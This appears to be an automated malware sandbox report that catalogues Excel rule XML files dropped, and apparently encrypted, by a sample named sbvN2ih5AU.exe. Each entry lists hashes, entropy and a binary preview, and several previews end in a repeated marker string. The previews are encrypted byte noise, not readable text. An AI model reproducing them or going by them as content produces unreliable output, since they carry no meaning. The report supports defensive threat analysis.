_....%...W...z....x...$...O.7..@.j.az..^.....=....qen..j:."........<..;...+X..........?_.d.m..O.B....h.(:h.f........^...p..G.....44nI..xV...]Tka...ds..0........&.$`...E...1.%.)U.^.FlK$8#.......8h6D.~.....n...G..KK.....;..GJX.....b$T[.InZ!Z3..6.....I..E....s..m!......._.7.....Y..X..........\|.K;..kN.....ul..yp..I..#..J.>..Hh\|.!.N\.gF......3.%....y:;C...9b.e....7..[.,.R..rL.$.o......3..!..1........\|.#).z#,f....../..../.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.930732931860274
Encrypted:	false
SSDEEP:	48:nz/SCfZ0543up78/yVL7AkL1Ux87qJOpMlG4C2Vy0w9OcumbgPxidApED:z/cWk8/kQK1q87GOp6GyyplzixeL
MD5:	D8D711C3A1ECBFD896E4DD0A9BA93828
SHA1:	2946692D2D82F783E38394CEBAA8E34E84A8D53E
SHA-256:	5FAFE7C99CABC5715CCC2DA2C9E4ADDE544ECF30EC3DCFDBD08B2A6D26CBEEEC
SHA-512:	FDFB704E117B9EBA9EC93872599DF2D5B2DE1691F38D49061668BF921E05128FE8CFEF24DA98442151773E6195FD7E22597B11F0C9E9FAA4111FDB206429618D
Malicious:	false
Preview:	<?xmlS....w.......?k.....4.....Z.C.L\|...OE1b..6...C....h.v.....}s.s..h..:.....8..w..wA..#..i^9.Z..0..\>...R...s..3IB..+H.`...Z........m.Q.p..W.....g[.....O&z...nRk\T..._.Jp.o..].......L.J.A#RO......r..[.u...Q.@.==[.H.(.#..M..1m.cJ.._..}g\|C.b8r...4.G...}$..e...V......I.D.....3m~..(:6....xL....r@.D=.....M..h...}...C[././.2.........lV5..J.MeQ.&......w.._q.....S.........a?^...I.....T....@6.-..x..D,..<-..9....n..D[...w9e.-.&.L.@wD%...L}.I..?v.:]..4.F.g.Z..X#..E.m..vj..1%^B.......k.....~.mSa\.ZQ.J-......`gr.:.}7....-.{E...}.$.ox\|.r..F....u.K0......oe0$f.]...g.g.Y.{.k...G..JE...N._k.] w......S..Y..,/..p..x..E..r..3..7.h.........:.X..].`."..c.+.kP.K..O[j.._.#..K..h.}...M.......q..(.".^....H.T........'g.m..Y8.;...Nt.I/..m.X.T.....[j..Q..s.~..~M.g....T3..5.S...P..b.LZT.~...D..H.]K`..PP}O..C..sH"...<<V..,....7O..J.g.*.h.D. K..q...........%u~b....$.?w......mWr.mo...!.(...i3x.....g<...b:..%..#)X..j..2.\..v..].\a:9.T.....=Y.7...rw..(..9....a.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.935404130675086
Encrypted:	false
SSDEEP:	48:Gds4OXHGkdtnvvSp6TAiS5FYgJMgO/cl5p99Gf+2EnugUPibnmwa44DTHrTD1QNz:G9vkdty6Ty2UMgIclBsKkkafDTHrFk
MD5:	78C586E7D186673BA35A34D7D3E8390B
SHA1:	46B0D0A8E7A13B6934BAC03A75273720DD9573EB
SHA-256:	1F3E042F0B2236953AA5FB30CD78B92783B45D60BE71BA27A210B92959A19161
SHA-512:	41C412C3514CA47DD5A519B156A29A39E7870F35EEFEFD7F27ECD68399A6E6C25F86F2CE331BB445E0E59F0BCC0D33FAFEC1322098EE5B49D69EB3FE13481065
Malicious:	false
Preview:	<?xmlZ#E....k8C..\|....H..4.%.`....sBit.............VJ.a_...!Z....r.^7<..e./.\...x...D...O.o..}C...<._. ]H.".........1.^.`V..Z..tL.E..fLv.Y...@y....i.cA^.S......g.no(..?)(F..gqF/.nn.y.0...(x..olI.Bs...;Z..,9...5....9.-...b.:E).F...m...y:.].`..h.U.V.w..7^..&..x..X.e@......E.......c...M.L./...b.....W.~..k.q.K......uU..Y...V...Y.........s...ix,.sD.B..g<..PJA..8P.......v...=..(.4....l...w.m/..........]...U..5..I...u.w.^..^..5<.)&.1x.-...S..[....@M..`.....6.ew{.+..oi^q.C".........C=..M.....'.......8+a.;...?.."._...2...".9Ch.s.o..W.."rr.2....T..J.B..Z.t+.'.}P..'o.....3..n..A.......A....].r.H..EMA...)..#..Y.%...^..O..y.;......"."i..?..}.Vm....-.cU..x,}b.!.I>..&....;....:4t]E7..`......$1..CMc..U.p.$.Z....Z....}......}.y...=.........Z.2...'..N....%.CCk..3.......I.V.jaa.F..&..>H..I....)...D.o{M..v.......94.O.g-..Q..\|..+...%t~..@..5...U .....V...f.......D..n5\..Rq..m.\..@...A.....0:3......[.E.E.y...@*;.3:..hi4........85F.....uO....(........z..z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.935166041658504
Encrypted:	false
SSDEEP:	48:3XWkiwVMOughE1NqJ82P8fZhKSfoemVlLrKVcvUGtZrz+5UclUXA0IiJqaIFLzYV:3XWSVZhEfJsqffozVsGvUGtZfr+UXAn6
MD5:	79520DAD273E1B1495CADAB2A39E624B
SHA1:	AE92D8676F0AA59D83819D11DBD78208C5255A4F
SHA-256:	EFFDC882D3145E9C8FDC28C0FF2C865F83657B9355073162621730F8E6B56CB8
SHA-512:	FB012DAE1634D42696008E2671825365524F7615E5193C01438E963C56096D06E89599BC5DDC38270E99FD137859621CFCE6D3F852CD0924673E1BCBAD0E5EF6
Malicious:	false
Preview:	<?xml...].V".&..A.....P0B......[$.'r.N....PT..o...2..azP..u.f8.....n<2.....l.U.....V.12.......6..G..@oE..."......I)M...e.\....@p.9..{.\._.......-....Y..7...w..nk.&\|.C..DR..H.q..;..._5.&.i..0..#...R.8.S..........#..0U..4..0......Xl.u.t...i.S.<q.N......L..Z...t.[B......Ne.&t.X....Op.N.0.t...Q.Z..L...`+..6z^v..-..&...x.......^..........5.B.D..'..jZ..W2.%.#e..Q......Z...A.6.Z..2.... .....G..>Kj%N....+.9.5...WL.b.e...h#.%$.]sI..Y~......R.-..DT!...n.Kl.2.oO......5.L....;.x..g.. V.$.RExfw...oH..',.}D...T..N..a.W].... ..K..hT^y......]....e.L..g......d...;...u....~4..Bpt..".. X.-$..\|..C5......9.e.....Q...O..T....X..8.{:n.S'j\|.OR..n....n......xw"Wet...?...3...y..q...r..".op.?]X..8..p...w.......X[...........+...2...jK^.}R.H.$.....e...;.......i....JjG..p..wYe6.J........a.+.<D..Eh.R>.aB...%.,...i.ch....r.prfQ.....-.i.8.(OI8....\|.'..P.\|?7.H..iuA...0y......y..e1&...h......u.w...!V....... B.'...J..c...)5....).....c....3fp...j..........U.......G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.740095430404132
Encrypted:	false
SSDEEP:	24:geg2CZ5Y4OUNSRYKVXvPqMk0Yh72NV2bD:pgf5Y3iS5/kXuuD
MD5:	9493C3B1DF3C0071A7C4C33679E9A6BE
SHA1:	A5F67D82453E75317F0ED488F29C4EA991B4BC4F
SHA-256:	F1B1208ED14A13BF2FB74BE1D659C83219C7DB41B70500588F4503C6AD9D62D0
SHA-512:	878B2F52119A8FC3FE91FB05C3041BAA25E734CC21DFE645CD2A7577DA8BC0249040B3A53959FA0CDB0F5609CE879036A01DFC947E7F757766D22BE907BCC92A
Malicious:	false
Preview:	<?xmlK:6...im...!.....>.aT.....9&............[.9..\|~....9.1$.K...YX9~01J....G..o....f...3.%.....(.x.... $..C._..B...\x@B...>..p...N.wc.r...3.s.I...w.5..]W..`....5..v.u...U.. .[7...5W...B...L..is6.9?..#...h..E.X..[..=.d.g!..C...W1..B..M.g..8.%.....s..=..a.-p.w..#..6....f......5...t.BiAy.~........:.e.-G0!...?,.ph.\|6..j. ..'.u..wG..%.l..r.ZG.)....O.Y@Y.......HK]J...D.n..+.....~...%........I[.`...\|.........C..6.~...DN....MZ2.}..>?...K.....8.J.D.@vE.9.......A...lL..K'3...zgh\5....R...%.ry..~.O.8.g<.........b..M6..X.@..<R.W."......pn.`C.,...~..uw.gA(u...Q'...b.AG. .._........Ec.#Y..3....4......V...k..[qa-.''.p.B.}..Y......O..%D....bh..p.+S.'d.C.k...D.l...2.v......B...C:.Gf..S.......5#.Uf..........B.....d.PmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.777619165711756
Encrypted:	false
SSDEEP:	24:+eihX6Xr1QC3Tg/hf2zElMDl79xUEzfc6hmK2bD:+eihKXr1z42VDlhiSE6MD
MD5:	F3BED780C913108C381D94D9C1600679
SHA1:	21E1C16D7F70367CC4276166EC986200BEA5FFE6
SHA-256:	452613A6AD4E44B87B0860040AEABFA97926B38AA52E060F2E581D756200E80B
SHA-512:	87FDCBBB3AE1C95840865A3A5811C6529F7FEF15965FEDBF2EDACADBA9D8BDED6871B00A25C2F24FB9105F80308607A90AA9D85651522A089EB1DC4954FA031D
Malicious:	false
Preview:	<?xmll..>....%.M.aC8Y.)F.Sj.0..S.0@.T5....'.S...'.z..j..i.4O...e..$/4........wL.^...\u....ba(..7.:.^...j.R.6(:m../C...G.N..P.sF...y.e...B....^.;<\ez.<.......u......R..x.Gl0.....-e..r.N...,......lOW5vd.pi..L.J.&....\|H..iZ..D.7......0Z.t.lYV.,.JP.J.\..\|..vR@..M.......m-.=...CL.......Y.a.v..u...e{$0...x1.`........uF..?..8.(]).&...........u..+K....i.<L..K6......9P.qF...A.......r.Y}0......!.........!2...n...{.Q]X.}...B3Q..k).E1!.DFnY7\|.0n....z...5......".e...Y...j....C.n.8.J.z.F....c..}>...L..(....h..c...>.L..y...c....XaP#..EV:...\|.O"x.......:u.]#6~.Of....ST.\mX..C.a..O.....p..?2!...e....^n....Z.{&.b.!.Pe....n...b..7F..+....7R........d..]8:"..Mfi.H.<.D......c.o..:tx.3B.0..[.s&.......-..I..Z..^.x..j.._vB(._.L...Bt.x...0...`.......%..!...G.....F.?$.....F..9..6..........m..9....+T...n.Z..]...j>..t3...oI..._.1c30....Nj.q.s...\|Z.,.2..@3_.l5...K..GX....6P.l...oL..a.....7z..1K[mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.84912952873467
Encrypted:	false
SSDEEP:	24:cxohLbF6VwLWExiHKMIrBB/Ogwz/TnJOTJhVS1+wAWgW9lru2bD:5k9wiq7C9ngTY1+I1D
MD5:	BCD71ABE5C11BAFF4087A2F0DE0B9CBC
SHA1:	8F011B39EDB5FF645B2B68EA997BB2A1D1F4F58D
SHA-256:	9BFD0314F2D71D90DC881DB28D673AB4911E79C64677A813689F35712CCB55A2
SHA-512:	257DBF88CA18743090C22F5DC612C869B5ED070C9FC189259877595158605B5890C2D38C5044202AA3BE61A5897340CC2F97F59A21B2F0ADC9717FFCFB479158
Malicious:	false
Preview:	<?xmly^.1...+......Q.._...F....8...LI^h...}...3...\..:HN.mWNi.>.=.......2....7.i..pI.>' \|.y..F.G.R.....V& ...i.OW:2P...L....B5....I..F.i.\.-W.....G;..Y...I.C. E-....Ay..Kh....=_C9.N.x..DP.....w..0..~\..H1........H....-..d&..l.X.. ..\|G..S..V9.....@.../'(..\.A......KR...&..d.}S........x..=N..<=....CMo.l....w.a.y.-.<?.3...r00.Tx.u-..".p.e9.I'v.nDJ.q.J...].,.c.......HWeP.U.....vYk:M...R...B...a....$.@. ..{. ...N0.L.9...j^.sc..M....@...CF..,1.T\|.@..m........VK.+.s[..o..m..>.0.I........bs.,..j....i.I]..?A7.....f...(.>...K.G?\|..hb._..6...k......u..j...n.......Y....f.h...Z%.....^wq.H0.Y.-h#.d>..o{d...V.....b...Lw..H.-y...GJ.....}.....T..`'.}....6.8......4)../.n.~z.....Vg..G[..g..&*.....RH...m.e\LMpk...........6.^p.v...n<M.U........R.....S.."...-.n.}.......J...g..l3..o..(.;P...ur.-.uK...U.N........io..].[..bGE..m..6..x..;.^2...nHe.WH.s..2$.hK.@U./...n..Y..#..g.............ZI..B.?j..SO>W........zy.M..[..G.yQ..U..isW.^I.F..I#........H.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.8751572175233715
Encrypted:	false
SSDEEP:	48:AIH9MNL2BsdgTgGthBCtdnVVJhlS+tiEulu5p5lYiYD:zOksiTgEHCtdJh/iEul2p5lYz
MD5:	C633DB99F1D951BDFA9A6198A37EB7BF
SHA1:	89EC55887D08514C29FCA87A3CE8EBC8212AEB3F
SHA-256:	8CF26AF19E332E0D7E73ACFEA7B7BC370F8811023DAB6B45E39F798D276F80D3
SHA-512:	70B3FB90FDD7259EDD1DD95335FF98B0D9DBCB6811FAE794F5AF0010B826A042B218931E4B1AA9F54342D211C7DD6B1A196A09CB7D5F2A587615752299D8C36C
Malicious:	false
Preview:	<?xml}..g.........:...n.....,..r....m...;.d..\..3~.U.QT.a.9G...O..M\q.~^$K"{z.g........-......b.:HKP..oX.I.2."..!...O..<8.Ev.(..m.5z...yBh.N..,.H}.....~.G"te.].~9..F..$..l..p..d'H.\..n...k.q...H96...c.../>....#..x....m..Q...c.83...U}1..l....#...lq.E....+.@.L...E.q....fy.....o.K..I.....4..xM..q.u].~.KV..@_:\...I6.n..z..`:D< .z.=4..v......mh.O/......~H......K.[.tp.=...E!h.o..`#.,.o.L5...l...B[.=..>..I.8\|c.....)...yskN.N....P3..dy..-..30..o..Y...1.0..-Ql.k.>0r.....ol9=;0.d..\!..b4n.>{.)}PC...2..)Q..P....0cn.P.t.h^..W./.X}... :]%..R..<..;yG..i.Q.M.V.u....\|.....'..D8V..\3Sq..?@..R.0.L..D.. .=....Y\.....x...#...`%Z.{.r._.(...6r.X..'!...$...o;50-..+.s....x.........t[E`....h.u.:.........<(..2./_......#.)8.....\.o.Z.65.I.\|.!..S1.3H._h^[N..[.7'..t.......4.W..2=..8....)F...g.._.dr...(.p.].+.\.9kT..\.........q.@..@.)..F.{...~.{...A..z).s.%.m..K.......d.}'..8.S.C.=.b#...w../....w...3.A.E.(C.....r...#p.8...KU.U.;(\|.FT...8...$.>..-.}s....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.933222089277106
Encrypted:	false
SSDEEP:	48:L7cWlsLkVc14H22al13ORGU0gg/AJp61JAd/eIhgsxLKpX4y5D:0X2vTaz3OROOQAdeIhghpX46
MD5:	487B651A33805CD304C3E2691693B771
SHA1:	82930E69485FA85FBC0ED06189BA23941775106A
SHA-256:	1DDD73F878CE79FE8C08FFB83A8F69378C3C61FAD303FA16DECC03B0EB63CC01
SHA-512:	B007DBBC38D5EB630D94A37C14CBA00AEE7B7E96BFBCBEC2D4B649805E5E217BF91E2527C63A9ED4C106CB97AEA927CE4985263A2547B50A65569ED1EF03EE5C
Malicious:	false
Preview:	<?xml.lP..s4w..A.YYK....Ga.n.J..c9.W.Z.;....}.....PL.<.*.P...............A.C.]...M.y..Jg;..r^..>.5<.Y.PXX..BG.J.u8#..."......'.....d...7.ll..hT;.......mA.>,.Rv?q..8.6.(..CZ .`EM.i....c...=.#].}:..u.3..r...+1...(HM..MQ.7......;.......J.M(...3.uRi.~\|.0.....Ii.../.y}.....<f8.~<..,9x....;.z......'....-\.G/U..4..&=.....^.o...J.,..[2..'.Fa..o3.4.R.......6......<..d..L.D.K]...hB...K4....,,d..V.....T.M"...4.K.....Y..~..... ..P...`.,.....X..&...93.6.W.g%.....E....Vf......2..#.......W^.u.V#......c.j.c.y...<... ...-.L..y..79.:u.... TBh....../-P.m..W...+.....{X..7\..m.h=.......{.....p-.GnvJ...q.F........N.z5.........Fc...8%..;..0....2.oTD2..`2..q{..a....yvva$].2..Y......i.....4J.....]V....8..&x..pD_.V...S...8rv.<..vE....u\.n..N..mp[$.3.:...P.x..3..d;..X..G...I....)..Oj.....+...d:.:8.wRi..s.......=..Q..Ba.2?..........[..A....IR;dc..iu...@?J9.!~.L....il.....h.... ...h.d.x..6'p.b.)b..r...HX.....L..-...k......O...M..Us2..%S3[..s.........=n.....C.F:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.883172289541349
Encrypted:	false
SSDEEP:	48:Gd6i0hLsFTJqb58IBmQAmeSS+ewzZhVGIz+y52voD:+4wFczUQAJD+e8ZeIJ5X
MD5:	E1C9C0CA221BA01DF3107ECBB3365CD1
SHA1:	7AEC4277EDAF8FBA8CD9DEC3812DF01D4F6DC92E
SHA-256:	88E8FF09B91C6CFE225260B9841E582BF82032012470092A5F1BE967AB2EB655
SHA-512:	A61DBF0DD6A4DDF1513A40A5BBF077983C3DE4665EB1081FEA0A3AA4C2BE152002F0D84A6F7AFBB65D5BFC90EEF4C82F1CC211667721E561B9292CE71FF3BBC4
Malicious:	false
Preview:	<?xml.k..^X.".4....-.{g`......5.f7.M>...>I...{.>.KZr..&....S....i..w...........K....._/'..P%R..i.].q_#].>..wWe....&c..2~....o....."Z..p...l.d.......m!A...I.)5...0..d..'EnTq..O\...Yp..3O..v......N.~........M.t..._...gw....]T..#~..p.1.l...`.J..R!Wp.:...)./T;.nBa..6Q.....[.U..j1....^e./.~1..&.Wo........r%.U.R..2.s......V.....O,C.@>.Kp5...t.a....(.lu.../.&.Y`P...'8..};..({..W.KA.<\|....dB7....1.a..-......h?a.>Q.XZr.,.B.U..z...]Y.8!.z]..]{...Nf?.. C:.k..T.3..D1..e0yZ>.W...,p"x..y...#....../.$.j.`....W..>..i.. ..L.'n.$K..B..{....^...9.>..$.:...S..YG6U.{..7..0....r...f....D...j7L...\|.e=....F.....c.g.9..j5A...Z+.y.....Kw.../.....u.kCV..../..~l.Y..2.s.WTC.%.C..w....q..]..1..A.Z.nD..b.....6.."6..o.._......--.%.l....S....%.H.}:..M).w._.%M.S...P....9...V&...oJ.#....h./H.Y..q..yv+../v<e.....x\|^\|]Q.......D...G........[..K.L....jl8.3O.f9....H.\.....J$Y... ,9...%..y.{.\a.....C..>.]....C\| .dt..^/...!....-k.?.X].n.u........M>]f..k.n,....;.9p.E..,3N]...W.U.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.913006485643231
Encrypted:	false
SSDEEP:	48:zIhDfM14pY56GvPc+9e7kb+YUXKfG9Y3Y+Ok1GIFXe7zIGbD:8CwYfvPc++t9YnFO7cGX
MD5:	CFE4C3E8AF00339768D8D29B4BB2E6BD
SHA1:	51E773245B0DA5EF55B27447EAB3BC1A24C9788A
SHA-256:	06CFD9CECE4C59579889A6937D5BB196737EA03C878210F0160A8BB9A1F13BE5
SHA-512:	C0DA737C30E0B8B7BFC476C4F7677940F25BA06035EAD44E64D72132038112B0A11A025185FAAE0CE9FD973B849D69CDC48CCD98B27E550ECF5EA4EF038C65BD
Malicious:	false
Preview:	<?xml.LM..<._O.;..... .8.j..{....)y.`[(.....H.,..9N.l.....a.f/t..[.]e..f...+#..u.<..g...]....:........@n,....jo....L}...O.....i}.....b...q.z(.@.}%..$...X..g...R.(.r.k.;..K..~.P..\C...oeWI..:...).L...t...,..h...4.....c.; 9~..4\M....6Wn.$..D9..5..E.8.W/........T<..E5..T.....>.6.....Gc.G.v.OS...p.#..J..I...p<x...o.5D.......b..7..90...tJy..f[.^T...BY..UQ~3P.G.A.zYT .n.Q..Eme...?.r.....9..sQ...Z./Z\........,..i..M..OT....bQ...@...R..v&,"...#9..nS.{...@..$..o...k...\|P...jK..dNJX...Z...0.`....D.)".S...J....r......F..-...)..`}n..0............>E..l...J..$h...Y...f..B.we+..J.6z'..I.@.Lh.H`.NO?%.%z.....{2.X.U.8v.MF...2.f....o..6X..!^C..0a2.{.~.-.17.."..{.....g.!w.()a.&M.G.L.....f..!j.&O..}..N.d......F.......@b......-E.".mZ.X.`..0t>..b....^..2..... .8:.z[k03...kXh.ZC`...\......v...$l...s.^).f.2y.d.l.q~.P.ER....;..JfA..........`.A...y.G.....e.>..v...d.`..l.-.I.,.A....XfB}i.H'.8"v)-6G$..],.;....3.u.........=.E....4X....P...Wn,..i6...F.h....U...V}wV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.874042419949492
Encrypted:	false
SSDEEP:	48:f8zj9TKhluBZYx/suMlgXCSUPfn8exwAQbD:0zj9GhKYuuMlgX9UnBS3
MD5:	0C6956FC3DE0159158B6F1889D670DFA
SHA1:	EB169540710CF5BF1643FC275A7B8FC513B758C1
SHA-256:	86DC45FBAE7234B7C0BA6649E536C4376A795B981F5249A1F7008791BEA99064
SHA-512:	0A25114EC8517AAEBC902FD8DC14BA70B1BD6668C8F70DF0A16F7242BF26C9664667FCD1C8BB3230064B1C1A9CB8CE85DCA033F7A19EDCCCA452FDD3E1507ED3
Malicious:	false
Preview:	<?xml..W)z..).y.B<.[.@L.....r.......T....x"..*......5'&:...q7...M.W..>.;a.f.v]..0.q...#M.O.......o`..X.%..u.u.f......9.Z^...VY.......p.....&.D.....p.T...p.....q.pN........D:...g.5"Wn.s.z. .\|.&..H.e .I.D9./._..e=<.@$o.GS.8O.m.]..at..h+M`K..d.:q.^8.W{.'M7.+.O:......Wv.$...z......U0.dwZG.G\|7. .!..T...).V..jk........6!..Y.+D...D{..\ 8....=......(.A.??.X.fU.wr...\|=..!a.... .wC...9V3..m.X_.<.s...`../..x..,...S...x........2.Q..X.n[y.'.N.C.E..e.".#.fW\|lz.M..=...n#.9..C......N....1E..'%.h.>.....b.xm...}....#.\|...$.2.Q..q}...>E....l...S.xf_RP(..m.Z....#...{6Z.o..N..z7C..@l...N8..h.9.g-i.....by..no..!..EF.......kAk!.FCwj^).......6,...jz.sc0...y.WX.&.Z.3.u..Z\|m.i...Y..>.`..gt._X8..K..Q....@W.f...w...{.0..[.......jAZ...clOp\|..QA.............UU....M.km...c...-....M;....z..T...1E.......9...Ag....;.D.Z..J...S.....9..a.=z......3.7y...i.up.e..9.Ne$G..&..E.@3.mn...u..\|..4..\.....+.....b......8.TT......N..V.}....`r+.6..B)V.....U..y]Q..5.uew...1...1V.ss.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.856843002038969
Encrypted:	false
SSDEEP:	24:DIGEkoF3htzMCaTySzINk1gZ1Qf4I0sasnj82bD:8BLF3haF/za/Qf90s3nLD
MD5:	AE8B14BAA3249F1599FF39A86263AEE8
SHA1:	4E21CFAFE7F6A74EF964DE9EE917368C074DF2E2
SHA-256:	9AF254A184AFA95779981DD80444E1296BFC502939F7B8570110B85153029EC0
SHA-512:	A2C2AE673849C514742A40110B8756D191AEF48753FD4B999D8265AF1E360D6C243C0D6F698FD09C853D00DCC85FE1093446C83453D8307621CFAFCBCAA4E594
Malicious:	false
Preview:	<?xml/......C4v.S.Ar.a...Ch......@p.r...........<..ol.z:.C.7.......O.Kqk..._I.g..sp...=-.J...X.....Es..h.nw..I....p+.U.;t.:igQ^.UCwW.v....(K.s......P...4\|..C..........4.j..b....!.FS....,./...........8....%..B.3.>......x.e..Z..M...R..........R.....P...).i.....W.....r..6./..<....eI..;.C..u....P@.sG.8w.....$H.-......W4.c...P.. ..BK%i.....N..`.E#'...N0.....t.(QhTnT.F.2.N.9.&\...JQ....+$M.@.fl.5M=........](............^.i ...&....5e.``m....QPC..Sm..2.T...l..c....W.4+F.I0!...>E...._.l.....8CqpBp....K...G....~.h>e2.O....XK..[.......`.K.0T..B....z.V.aX..E.y...?l...].j.......:%.No.x.'..K..].+{.....X.:!{..+.EP.UDu.e 1.}.JT.Kk..}.9..9E....Ly...\..0.Kn.....:c...yu/..u....hJ....=..u...&.T.U^...0&....,N.zb:]U~.:.Ll.M.~?9n.U3.....-..%%T......v..Z.Z...Jw..Y...!...%....7.-..+..U.>.%.y..('.a....*..6.T.(e......,..(.oP-..;F.F.+..n..XN.B...I.Tso....8U.D..#..z..Q........S2._".;.Z......l\|#c.x.j.g..!m.a.../[5.-]=d.....va.c....\.x9...y!.. 9-m#Zz..u.?...8...L..SA..&.V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.793015723522355
Encrypted:	false
SSDEEP:	24:cbWSdlyJrJvsWuS2bT7nh5Iu6HUGvroF6LVg14wM+ER/L2bD:cbW8yxSWuzjhWdHfDoeeZMT/4D
MD5:	98F2B1994BBF1ECB46F015D17F67C078
SHA1:	BC9290F32403EBBF17587B0BD85CC93F2EB6B44E
SHA-256:	2A887E5F5A997612CB32AB8241945134BDD3E82E89B58486A62A4F4AF112AAC5
SHA-512:	D57EE0E47BDFD6EE0BA43DC3B72F950E15EE195654B07215EF76744A665DA8E372385502643EA5347154E55E3CAC7200AFD5D25D9795FE00A07A72B385EE6E42
Malicious:	false
Preview:	<?xml....?.z.wP%..'..x....8..k~+.........+....gsl.s.W.{h...v...d..C>9n.n..."%..1kr..,n^c......l.v( ...!.7.=.{......&CA+l.1...l\.c...."...w.{.EN...9.7.E.W6.:..SS..W.W....fq..Lw[..z....Cd..qX....9.....\z...PM...@..Z\|..J.,Lh...I..>;9.:^..\3J.SV...2.7A.%O......P...f.G..Y)w.....0.x.\|..D_&..~....[.k.......D.v..h<.>.{.!.. 5........x......%]oj...bs,x.].c.+Z.}.B6.jN.6q.9.3.....Jdu:.<}..\.....@..^....<....n:..'...k..Z..J..{.y...u.....K...X..<Ls..@c..J....g"J~.k........&..2..^I.Kfk.&..'9.0..L#c.....mT^..N.....T.y..<...UN..jAd...Ha.A.,C..P...#s%j....P.:.\.5...O.X8q..UU.r..gb..A.p ..;....0..d..X.4.v}x..#z.]..7../.n....y.4Lo1...+.N.b.{.?....0d.12.b'...E;....Ah3...8&..7.k......=uO.4.7.r6.Z".3._C..';....gl.#K!.Z...+..J.rQ0.+$2..,.i2.....D.Z..z>69,r.3...W +#....Aj...O.k..:....*.-$...U.Ry..^....w!\|.....A.._U.J.u,2.<^..@d....@.(=..t..!.{h...9.?....n.tB/...B.........:l...R.....yE....,....b..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.807795519895848
Encrypted:	false
SSDEEP:	24:OYUjaErTnL93UCDWNn6QWGmHDI6+laIhC8QAICNiCZo0uS1ImSu/k4kC22bD:O9ja2xEnvkmaIhQid1IlT4b9D
MD5:	6A08F848082C06F66E10071C033FEFCA
SHA1:	CB49058FF6A8D8C34D75DAD6D59E566C89AE5DDA
SHA-256:	5EFF2B143A87D851A537BF0D6ED2ACEE9AFC88382B327EEDEBE7785434416A47
SHA-512:	6D7C3FA87391304942BC0361D0E6D6975C1AAFC3189B355C297A2B25C499585674D5927E60782F96AD37A01A533938353A2EC2D3D5A6713F13D60C9CDF362B0B
Malicious:	false
